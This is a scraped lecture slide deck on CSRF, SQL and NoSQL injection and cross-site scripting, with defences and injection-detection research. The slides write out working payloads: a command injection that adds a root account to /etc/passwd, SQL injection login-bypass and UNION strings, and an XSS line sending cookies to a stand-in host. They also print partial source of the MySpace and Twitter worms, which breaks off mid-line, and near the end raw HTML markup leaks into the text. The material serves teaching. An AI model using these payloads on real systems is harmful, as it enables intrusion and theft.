Web Attacks: cross-site request forgery, SQL injection, cross-site scripting презентация

slide
Big trend: software as a Web-based service
Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc.
Cloud-hosted applications
Application code split between client and server
Client (Web browser): JavaScript
Server: PHP, Ruby, Java, Perl, ASP …
Security is rarely the main concern
Poorly written scripts with inadequate input validation
Inadequate protection of sensitive data
Web Applications

Top Web Vulnerabilities
XSRF (CSRF) - cross-site request forgery
Bad website forces the user’s browser to send a request to a good website
SQL injection
Malicious data sent to a website is interpreted as code in a query to the website’s back-end database
XSS (CSS) – cross-site scripting
Malicious code injected into a trusted context (e.g., malicious data presented by a trusted website interpreted as code by the user’s browser)
slide

Cookie-Based Authentication
Server
Browser
POST/login.cgi
Set-cookie: authenticator
GET…
Cookie: authenticator
response
slide

Browser Sandbox Redux
Based on the same origin policy (SOP)
Active content (scripts) can send anywhere!
Except for some ports such as SMTP
Can only read response from the same origin
slide

slide
Cross-Site Request Forgery
Users logs into bank.com, forgets to sign off
Session cookie remains in browser state
User then visits a malicious website containing
action=http://bank.com/BillPay.php>
…
document.BillPayForm.submit();
Browser sends cookie, payment request fulfilled!
Cookie authentication is not sufficient when side effects can happen!

document.forms[0].submit()
Hidden iframe can do this in the background
User visits attacker’s page, it tells the browser to submit a malicious form on behalf of the user
Hijack any ongoing session
Netflix: change account settings, Gmail: steal contacts
Reprogram the user’s home router
Many other attacks possible
submit post
Sending a Cross-Domain POST
slide

Cookie: SessionID=523FA4cd2E
Cookies in Forged Requests
slide

XSRF (aka CSRF): Summary
Attack server
Server victim
User victim
establish session
send forged request
visit server
receive malicious page
1
2
3
4
Q: how long do you stay logged on to Gmail? Financial sites?
slide

Bad website
Home router
User
configure router
send forged request
visit site
receive malicious page
1
2
3
4
slide
Remember Drive-By Pharming?

XSRF True Story (1)
User has a Java stock ticker from his broker’s website running in his browser
Ticker has a cookie to access user’s account on the site
A comment on a public message board on finance.yahoo.com points to “leaked news”
TinyURL redirects to cybervillians.com/news.html
User spends a minute reading a story, gets bored, leaves the news site
Gets his monthly statement from the broker - $5,000 transferred out of his account!
slide
[Alex Stamos]

XSRF True Story (2)
slide
[Alex Stamos]
Hidden iframes submitted forms that…
Changed user’s email notification settings
Linked a new checking account
Transferred out $5,000
Unlinked the account
Restored email notifications

XSRF Defenses
Secret validation token
Referer validation
Custom HTTP header
Referer:
http://www.facebook.com/home.php
X-Requested-By: XMLHttpRequest
slide

Add Secret Token to Forms
Hash of user ID
Can be forged by attacker
Session ID
If attacker has access to HTML or URL of the page (how?), can learn session ID and hijack the session
Session-independent nonce – Trac
Can be overwritten by subdomains, network attackers
Need to bind session ID to the token
CSRFx, CSRFGuard - manage state table at the server
Keyed HMAC of session ID – no extra state!
slide

Secret Token: Example
slide

Referer Validation
Lenient referer checking – header is optional
Strict referer checking – header is required
Referer:
http://www.facebook.com/home.php
Referer:
http://www.evil.com/attack.html
Referer:
✔
?
?
slide

Why Not Always Strict Checking?
Why might the referer header be suppressed?
Stripped by the organization’s network filter
For example, http://intranet.corp.apple.com/ projects/iphone/competitors.html
Stripped by the local machine
Stripped by the browser for HTTPS → HTTP transitions
User preference in browser
Buggy browser
Web applications can’t afford to block these users
Referer rarely suppressed over HTTPS
slide

XSRF with Lenient Referer Checking
http://www.attacker.com
redirects to
ftp://www.attacker.com/index.html
javascript:"
/* XSRF */
"
data:text/html,
/*</div></h2><div class="slides-content">XSRF */
common browsers don’t send referer header
slide

Custom Header
XMLHttpRequest is for same-origin requests
Browser prevents sites from sending custom HTTP headers to other sites, but can send to themselves
Can use setRequestHeader within origin
Limitations on data export
No setRequestHeader equivalent
XHR 2 has a whitelist for cross-site requests
POST requests via AJAX
No secrets required
X-Requested-By: XMLHttpRequest
slide

Broader View of XSRF
Abuse of cross-site data export
SOP does not control data export
Malicious webpage can initiates requests from the user’s browser to an honest server
Server thinks requests are part of the established session between the browser and the server
Many reasons for XSRF attacks, not just “session riding”
slide

Login XSRF
slide

Referer Header Helps, Right?
slide

Laundering Referer Header
referer: http://www.siteA.com
referer: ??? (browser-dependent)
slide
siteB

XSRF Recommendations
Login XSRF
Strict referer validation
Login forms typically submitted over HTTPS, referer header not suppressed
HTTPS sites
Strict referer validation
Other sites
Use Ruby-on-Rails or other framework that implements secret token method correctly
slide

Other Identity Misbinding Attacks
User’s browser logs into website, but the session is associated with the attacker
Capture user’s private information (Web searches, sent email, etc.)
Present user with malicious content
Many examples
Login XSRF
OpenID
PHP cookieless authentication
slide

PHP Cookieless Authentication
slide

slide
Runs on a Web server (application server)
Takes input from remote users via Web server
Interacts with back-end databases and other servers providing third-party content
Prepares and outputs results for users
Dynamically generated HTML pages
Content from many different sources, often including users themselves
Blogs, social networks, photo-sharing websites…
Server Side of Web Application

Dynamic Web Application
Browser
Web
server
GET / HTTP/1.0
HTTP/1.1 200 OK
index.php
Database
server
slide

PHP: Hypertext Preprocessor
Server scripting language with C-like syntax
Can intermingle static HTML and code
>
Can embed variables in double-quote strings
$user = “world”; echo “Hello $user!”;
or $user = “world”; echo “Hello” . $user . “!”;
Form data in global arrays $_GET, $_POST, …
slide

Command Injection in PHP
Typical PHP server-side code for sending email
Attacker posts
OR
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp/joinmynetwork”)
http://yourdomain.com/mail.pl?
email=[e-mail]&
subject=foo < /usr/passwd; ls
http://yourdomain.com/mail.pl?
email=[e-mail]&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
slide

SQL
Widely used database query language
Fetch a set of records
SELECT * FROM Person WHERE Username=‘Vitaly’
Add data to the table
INSERT INTO Key (Username, Key) VALUES (‘Vitaly’, 3611BBFF)
Modify data
UPDATE Keys SET Key=FA33452D WHERE PersonID=5
Query syntax (mostly) independent of vendor
slide

Typical Query Generation Code
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " .
"WHERE Username='$selecteduser'";
$rs = $db->executeQuery($sql);
What if ‘user’ is a malicious string that changes the meaning of the query?
slide

Typical Login Prompt
slide

Enter
Username
&
Password
User Input Becomes Part of Query
Web
server
Web
browser
(Client)
DB
SELECT passwd
FROM USERS
WHERE uname
IS ‘$user’
slide

Enter
Username
&
Password
Normal Login
Web
server
Web
browser
(Client)
DB
SELECT passwd
FROM USERS
WHERE uname
IS ‘smith’
slide

Malicious User Input
slide

Enter
Username
&
Password
SQL Injection Attack
Web
server
Web
browser
(Client)
DB
SELECT passwd
FROM USERS
WHERE uname
IS ‘’; DROP TABLE
USERS; -- ’
slide
Eliminates all user accounts

slide
Exploits of a Mom
http://xkcd.com/327/

SQL Injection: Basic Idea
Victim server
Victim SQL DB
Attacker
post malicious form
unintended query
receive data from DB
1
2
3
slide
This is an input validation vulnerability
Unsanitized user input in SQL query to back- end database changes the meaning of query
Special case of code injection

slide
Authentication with Back-End DB
set UserFound=execute(
“SELECT * FROM UserTable WHERE username=‘ ” & form(“user”) & “ ′ AND
password= ‘ ” & form(“pwd”) & “ ′ ” );
User supplies username and password, this SQL query checks if user/password combination is in the database
If not UserFound.EOF
Authentication correct
else Fail
Only true if the result of SQL query is not empty, i.e., user/pwd is in the database

slide
Using SQL Injection to Log In
User gives username ′ OR 1=1 --
Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=‘’ OR 1=1 -- … );
Now all records match the query, so the result is not empty ⇒ correct “authentication”!
Always true!
Everything after -- is ignored!

Pull Data From Other Databases
User gives username
’ AND 1=0
UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards
Results of two queries are combined
Empty table from the first query is displayed together with the entire contents of the credit card database
slide

slide
Uninitialized Inputs
/* php-files/lostpassword.php */
for ($i=0; $i<=7; $i++)
$new_pass .= chr(rand(97,122))
…
$result = dbquery(“UPDATE ”.$db_prefix.“users
SET user_password=md5(‘$new_pass’)
WHERE user_id=‘”.$data[‘user_id’].“ ’ ”);
In normal execution, this becomes
UPDATE users SET user_password=md5(‘????????’)
WHERE user_id=‘userid’
Creates a password with 8 random characters, assuming $new_pass is set to NULL
SQL query setting
password in the DB

slide
… with superuser privileges
User’s password is
set to ‘badPwd’
Exploit
This sets $new_pass to
badPwd’), user_level=‘103’, user_aim=(‘
Only works against older versions of PHP
User appends this to the URL:
&new_pass=badPwd%27%29%2c
user_level=%27103%27%2cuser_aim=%28%27
SQL query becomes
UPDATE users SET user_password=md5(‘badPwd’),
user_level=‘103’, user_aim=(‘????????’)
WHERE user_id=‘userid’

Second-Order SQL Injection
Data stored in the database can be later used to conduct SQL injection
For example, user manages to set username to admin’ --
UPDATE USERS SET passwd=‘cracked’
WHERE uname=‘admin’ --’
This vulnerability could occur if input validation and escaping are applied inconsistently
Some Web applications only validate inputs coming from the Web server but not inputs coming from the back-end DB
Solution: treat all parameters as dangerous
slide

SQL Injection in the Real World
CardSystems 40M credit card accounts [Jun 2005]
134M credit card accounts [Mar 2008]
450,000 passwords [Jul 2012]
CyberVor booty 1.2 billion accounts [Reported in 2014]
from 420,000 websites
slide

Preventing SQL Injection
Validate all inputs
Filter out any character that has special meaning
Apostrophes, semicolons, percent symbols, hyphens, underscores, …
Check the data type (e.g., input must be an integer)
Whitelist permitted characters
Blacklisting “bad” characters doesn’t work
Forget to filter out some characters
Could prevent valid input (e.g., last name O’Brien)
Allow only well-defined set of safe values
Implicitly defined through regular expressions
slide

Escaping Quotes
Special characters such as ’ provide distinction between data and code in queries
For valid string inputs containing quotes, use escape characters to prevent the quotes from becoming part of the query code
Different databases have different rules for escaping
Example: escape(o’connor) = o\’connor or
escape(o’connor) = o’’connor
slide

Prepared Statements
In most injection attacks, data are interpreted as code – this changes the semantics of a query or command generated by the application
Bind variables: placeholders guaranteed to be data (not code)
Prepared statements allow creation of static queries with bind variables; this makes the structure of the query independent of the actual inputs
slide

Prepared Statement: Example
PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery();
Bind variable (data placeholder)
Query is parsed without data parameters
Bind variables are typed (int, string, …)
But beware of second-order SQL injection…
slide
http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html

Builds SQL queries by properly escaping args
Replaces ′ with \′
SqlCommand cmd = new SqlCommand(
“SELECT * FROM UserTable WHERE
username = @User AND
password = @Pwd”, dbConnection);
cmd.Parameters.Add(“@User”, Request[“user”] );
cmd.Parameters.Add(“@Pwd”, Request[“pwd”] );
cmd.ExecuteReader();
Parameterized SQL in ASP.NET
slide

NoSQL
New class of distributed, scalable data stores
MongoDB, DynamoDB, CouchDB, Cassandra, others
Store data in key-value pairs
slide
Source: Jeff Kelly, WikiBon

NoSQL Injection Attack (1)
If( $document ) {
$document = findMongoDbDocument( $_REQUEST[‘search’], $_REQUEST[‘db’],
$_REQUEST[‘collection’], true );
$customId = true;
}
…
function findMongoDbDcoument( $id, $db, $collection, $forceCustomId = false ) {
….
….
// MongoDB find API
$document = $collection->findOne( array( ‘_id’ => $id ) ) ;
}
$id value is supposed to be a string constant
http://victimHost/target.php?search[$ne]=1
$id = array( ‘$ne’ => 1 )
This operation now returns any record
slide

NoSQL Injection Attack (2)
…
// Build a JavaScript query from user input.
$fquery = “ function () {
……
……
var userType = “ . $_GET[‘user’] . “;
……...
if( this.showprivilege == userType ) return true;
else return false;
}”;
…
$result = $collection->find( array( ‘$where’ => $fquery ) );
http://victimHost/target.php?user=1; return 1;}//
This JavaScript query always returns true
function () {
var userType=1;
return 1;
} // … }
slide

slide
Finding Injection Vulnerabilities
Static analysis of Web applications to find potential injection vulnerabilities
Sound
Tool is guaranteed to find all vulnerabilities
Precise
Models semantics of sanitization functions
Models the structure of the SQL query into which untrusted user inputs are fed
[Wassermann and Su. “Sound and Precise Analysis of Web Applications for Injection Vulnerabilities”. PLDI 2007]

slide
“Essence” of SQL Injection
Web app provides a template for the SQL query
Attack = any query in which user input changes the intended structure of the SQL query
Model strings as context-free grammars (CFG), track non-terminals representing tainted input
Model string operations as language transducers
Example: str_replace(“ ’ ’ “, “ ’ “, $input)
A matches any char except “ ’ “

slide
Phase One: Grammar Production
Generate annotated CFG representing set of all query strings that program can generate
Direct:
data directly from users
(e.g., GET parameters)
Indirect:
second-order tainted
data (means what?)

slide
String Analysis + Taint Analysis
Convert program into
static single assignment form, then into CFG
Reflects data dependencies
Model PHP filters as
string transducers
Some filters are more complex:
preg_replace(“/a([0-9]*)b/”,
“x\\1\\1y”, “a01ba3b”) produces “x0101yx33y”
Propagate taint annotations

slide
Phase Two: Checking Safety
Check whether the language represented by CFG contains unsafe queries
Is it syntactically contained in the language defined by the application’s query template?
This non-terminal represents tainted input
For all sentences of the form σ1 GETUID σ2
derivable from query, GETUID is between quotes in
the position of an SQL string literal
Safety check:
Does the language rooted in GETUID
contain unescaped quotes?

slide
Tainted Substrings as SQL Literals
Tainted substrings that cannot be syntactically confined in any SQL query
Any string with an odd number of unescaped quotes
Nonterminals that occur only in the syntactic position of SQL string literals
Can an unconfined string be derived from it?
Nonterminals that derive numeric literals only
Remaining nonterminals in literal position can produce a non-numeric string outside quotes
Probably an SQL injection vulnerability
Test if it can derive DROP WHERE, --, etc.

slide
Taints in Non-Literal Positions
Remaining tainted nonterminals appear as non-literals in SQL query generated by the application
This is rare (why?)
All derivable strings should be proper SQL statements
Context-free language inclusion is undecidable
Approximate by checking whether each derivable string is also derivable from a nonterminal in the SQL grammar

Evaluation
Testing on five real-world PHP applications
Discovered previously unknown vulnerabilities, including non-trivial ones
Vulnerability in e107 content management system:
a field is read from a user-modifiable cookie, used in a query in a different file
21% false positive rate
What are the sources of false positives?

slide
Example of a False Positive

Challenge #1:
pinpoint user-injected parts in the query
Requires precise, byte- or character-level taint tracking
SELECT * FROM t WHERE flag = password
Untainted
Tainted
Not enough!
Detecting Injection at Runtime (1)
slide

Challenge #2:
decide whether tainted parts of the query
are code or data
Detecting Injection at Runtime (2)
slide
Check if keywords or operators are tainted [Halfond et al.]
Check regular expressions on tainted string values [Xu et al.]
Check if tainted part is an ancestor of
complete leaf nodes [Su et al.]
Check if tainted query is syntactically isomorphic to
a query generated from a benign input [Bandhakavi et al.]
All suffer from false positives and negatives ☹

Defining Code Injection
Ray-Ligatti definition:
Non-code is the closed values, everything else is code
Closed value = fully evaluated with no free variables
(string and integer literals, pointers, lists of values, etc.)
Code injection occurs when tainted input values are parsed into code
Example 1:
SELECT * FROM t WHERE flag = password
Example 2:
SELECT * FROM t WHERE name = ‘x’
slide
[Ray and Ligatti. “Defining Code-Injection Attacks”. POPL 2012]

Diglossia
PHP extension that detects SQL and NoSQL injection attacks with no changes to applications, databases, query languages, or Web servers
[Son et al. “Detecting Code-Injection Attacks with Precision and Efficiency”. CCS 2013]
diglossia (/daɪˈɡlɒsiə/): A situation in which two languages (or two varieties of the same language) are used under different conditions within a community, often by the same speakers
slide

Input string value
Untainted value
Tainted value
string
operation
Original chars
Original chars
Original chars
Input string value
Untainted value
Tainted value
shadow
operation
Character remapping
Original chars
Shadow chars
Mix of original and shadow chars
Original chars
shadow value
Diglossia: Taint Tracking
slide

Diglossia: Detecting Code Injection
Tainted value
Tainted value
Dual
parser
CODE
CODE
DATA
CODE
CODE
DATA
1. Syntactically isomorphic
2. Only shadow chars in
code terminals
Shadow value
Mix of original and
shadow chars
slide

Diglossia: Character Remapping
Dynamically generate shadow
characters so that they are
guaranteed not to occur
in user input
Original characters
84 ASCII characters
Alphabet and special characters
Shadow characters
Randomly selected UTF-8 characters
Remap all untainted characters
slide

Diglossia: Dual Parser
slide

Detecting Code Injection (Example)
Parse the query and its shadow in tandem
SELECT * FROM t WHERE id = password
map(SELECT) map(*) map(FROM) map(t) map(WHERE) map(id) map(=) password
FROM
WHERE
SELECT
=
*
t
id
password
FROM
WHERE
SELECT
=
*
t
id
password
Code injection!
slide

Advantages of Diglossia
Diglossia is the first tool to accurately detect code injection attacks on Web applications
Relies on (almost) Ray-Ligatti definition of code injection
Transforms the problem of detecting code injection attacks into a string propagation and parsing problem
New techniques: value shadowing and dual parsing
Very efficient
Fully legacy-compatible: no changes to application source code, databases, Web servers, etc.
slide

Limitations of Diglossia
Does not permit user input to be intentionally used as part of the query code
This is terrible programming practice, anyway!
The parser used by Diglossia must be consistent with the parser used by the database
Value shadowing based on concrete execution may be inaccurate (when can this happen?)
Value shadowing may be incomplete if strings are passed to third-party extensions (this is rare)
slide

slide
Echoing or “Reflecting” User Input
Classic mistake in server-side applications
http://naive.com/search.php?term=“Britney Spears”
search.php responds with
Search results
You have searched for
…
Or
GET/ hello.cgi?name=Bob
hello.cgi responds with
Welcome, dear Bob

slide
Cross-Site Scripting (XSS)
victim’s browser
naive.com
evil.com
Forces victim’s browser to
call hello.cgi on naive.com
with this script as “name”
hello.cgi
echoes
input in
generated
HTML page
hello.cgi
What is the ORIGIN
of this script?
How about this one?
Why does the browser allow this?

slide
User is tricked into visiting an honest website
Phishing email, link in a banner ad, comment in a blog
Bug in website code causes it to echo to the user’s browser an attack script
The origin of this script is now the website itself!
Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
This violates the “spirit” of the same origin policy, but not the letter
Reflected XSS

Basic Pattern for Reflected XSS
Attack server
Server victim
User victim
visit web site
receive malicious page
click on link
echo user input
1
2
3
send valuable data
5
4
slide

Adobe PDF Viewer (before version 7.9)
PDF documents execute JavaScript code
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:code_here
The “origin” of this injected code is the domain where PDF file is hosted
slide

Attacker locates a PDF file hosted on site.com
Attacker creates a URL pointing to the PDF, with JavaScript malware in the fragment portion
http://site.com/path/to/file.pdf#s=javascript:malcode
Attacker entices a victim to click on the link
If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, malware executes
Its “origin” is site.com, so it can change content, steal cookies from site.com
slide
XSS Against PDF Viewer

Not Scary Enough?
PDF files on the local filesystem:
file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");
JavaScript malware now runs in local context with the ability to read and write local files ...
slide

slide
User-created content
Social sites, blogs, forums, wikis
When visitor loads the page, website displays the content and visitor’s browser executes the script
Many sites try to filter out scripts from user content, but this is difficult!
Where Malicious Scripts Lurk

Stored XSS
Attack server
Server victim
User victim
Inject malicious script
request content
receive malicious script
1
2
3
steal valuable data
4
slide

Twitter Worm (2009)
Can save URL-encoded data into Twitter profile
Data not escaped when profile is displayed
Result: StalkDaily XSS exploit
If view an infected profile, script infects your own profile
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var xss = urlencode('http://www.stalkdaily.com">
var ajaxConn = new XHConn();
ajaxConn.connect(“/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect(“/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update")
slide
http://dcortesi.com/2009/04/11/twitter-stalkdaily-worm-postmortem/

XSS in the Wild
slide
http://xssed.com/archive

Stored XSS Using Images
slide
Suppose pic.jpg on web server contains HTML
Request
for http://site.com/pic.jpg results in:
HTTP/1.1 200 OK
…
Content-Type: image/jpeg
fooled ya
IE will render this as HTML (despite Content-Type)
Photo-sharing sites
What if attacker uploads an “image” that is a script?

Using Login XSRF for XSS
slide

Web 2.0
slide
[Alex Stamos]
Malicious scripts may be …
Contained in arguments of
dynamically created JavaScript
Contained in JavaScript arrays
Dynamically written into the DOM

XSS of the Third Kind
Script builds webpage DOM in the browser
Welcome!
Hi
var pos = document.URL.indexOf("name=") + 5; document.write(document.URL.substring(pos,document.URL.length));
Works fine with this URL
http://www.example.com/welcome.html?name=Joe
But what about this one?
http://www.example.com/welcome.html?name=
alert(document.cookie)
slide
Attack code does not appear in HTML sent over network

XSS in AJAX (1)
Downstream JavaScript arrays
var downstreamArray = new Array();
downstreamArray[0]
= “42"; doBadStuff(); var bar=“ajacked";
Won’t be detected by a naïve filter
No <>, “script”, onmouseover, etc.
Just need to break out of double quotes
slide
[Alex Stamos]

XSS in AJAX (2)
JSON written into DOM by client-side script
var inboundJSON
= {"people": [
{"name": "Joel", "address": “
badStuff();
",
"phone": "911"} ] };
someObject.innerHTML(inboundJSON.people[0].address); // Vulnerable
document.write(inboundJSON.people[0].address); // Vulnerable
someObject.innerText(inboundJSON.people[0].address); // Safe
XSS may be already in DOM!
document.url, document.location, document.referer
slide
[Alex Stamos]

Backend AJAX Requests
slide
[Alex Stamos]
“Backend” AJAX requests
Client-side script retrieves data from
the server using XMLHttpRequest, uses it to build webpage in browser
This data is meant to be converted into HTML by the script, never intended to be seen directly in the browser
Example: WebMail.com
Request:
GET http://www.webmail.com/mymail/getnewmessages.aspx
Response:
var messageArray = new Array();
messageArray[0] = “This is an email subject”;
Raw data, intended to be converted into HTML inside the browser by the client-side script

XSS in AJAX (3)
slide
[Alex Stamos]
Attacker sends the victim an email
with a script:
Email is parsed from the data array, written into HTML with innerText(), displayed harmlessly in the browser
Attacker sends the victim an email with a link to backend request and the victim clicks the link:
The browser will issue this request:
GET http://www.webmail.com/mymail/getnewmessages.aspx
… and display this text:
var messageArray = new Array();
messageArray[0] = “
var i = new Image(); <br>i.src=‘http://badguy.com/’ + document.cookie;
”

How to Protect Yourself
Ensure that your app validates all headers, cookies,
query strings, form fields, and hidden fields against a rigorous specification of what should be allowed.
Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
Source: Open Web Application Security Project
slide

What Does This Script Do?
slide

slide
Any user input and client-side data must be preprocessed before
it is used inside HTML
Remove / encode (X)HTML special characters
Use a good escaping library
OWASP ESAPI (Enterprise Security API)
Microsoft’s AntiXSS
In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
‘ becomes ' “ becomes " & becomes &
In ASP.NET, Server.HtmlEncode(string)
Preventing Cross-Site Scripting

Evading XSS Filters
Preventing injection of scripts into HTML is hard!
Blocking “<”
and “>” is not enough
Event handlers, stylesheets, encoded inputs (%3C), etc.
phpBB allowed simple HTML tags like
” onmouseover=“script” x=“
Hello
Beware of filter evasion tricks (XSS Cheat Sheet)
If filter allows quoting (of
, etc.), beware of malformed quoting: <IMG """><SCRIPT>alert("XSS")
">
Long UTF-8 encoding
Scripts are not only in
:<br> <iframe src=`https://bank.com/login’ onload=`steal()’><br><p>slide <br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide98" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 98</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-97.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="slide Users can post HTML on their MySpace pages MySpace" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-97.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-97.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-97.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-97.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>slide <br><p>Users can post HTML on their MySpace pages<br>MySpace does not</div></h2><div class="slides-content">allow scripts in users’ HTML<br>No <script>, <body>, onclick, <a href=javascript://><br>… but does allow <div> tags for CSS. K00L!<br><div style=“background:url(‘javascript:alert(1)’)”><br>But MySpace will strip out “javascript”<br>Use “java<NEWLINE>script” instead<br>But MySpace will strip out quotes<br>Convert from decimal instead: <br> alert('double quote: ' + String.fromCharCode(34))<br><p>MySpace Worm (1)<br><p>http://namb.la/popular/tech.html<br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide99" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 99</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-98.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="slide “There were a few other complications and things to" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-98.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-98.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-98.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-98.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>slide <br><p>“There were a few other complications and things to get</div></h2><div class="slides-content">around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”<br>Started on Samy Kamkar’s MySpace page, everybody who visited an infected page became infected and added “samy” as a friend and hero<br>“samy” was adding 1,000 friends <br> per second at peak<br>5 hours later: 1,005,831 friends<br><p>MySpace Worm (2)<br><p>http://namb.la/popular/tech.html<br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide100" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 100</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-99.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="slide Code of the MySpace Worm http://namb.la/popular/tech.html script:eval(document.all.mycode.expr)&#39;)&quot; expr=&quot;var B=String.fromCharCode(34);var" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-99.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-99.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-99.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-99.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>slide <br><p>Code of the MySpace Worm<br><p>http://namb.la/popular/tech.html<br><p><div id=mycode style="BACKGROUND: url('java<br>script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var</div></h2><div class="slides-content">A=String.fromCharCode(39);function g(){var C;try{var<br>D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU)<br>{M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var<br>F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var<br>AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://<br>www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}<br>function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!<br>=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return<br>false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-formurlencoded');<br>J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var<br>S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}<br>function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var<br>X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e)<br>{Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}<br>catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var<br>AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero.<br><d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</<br>td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var 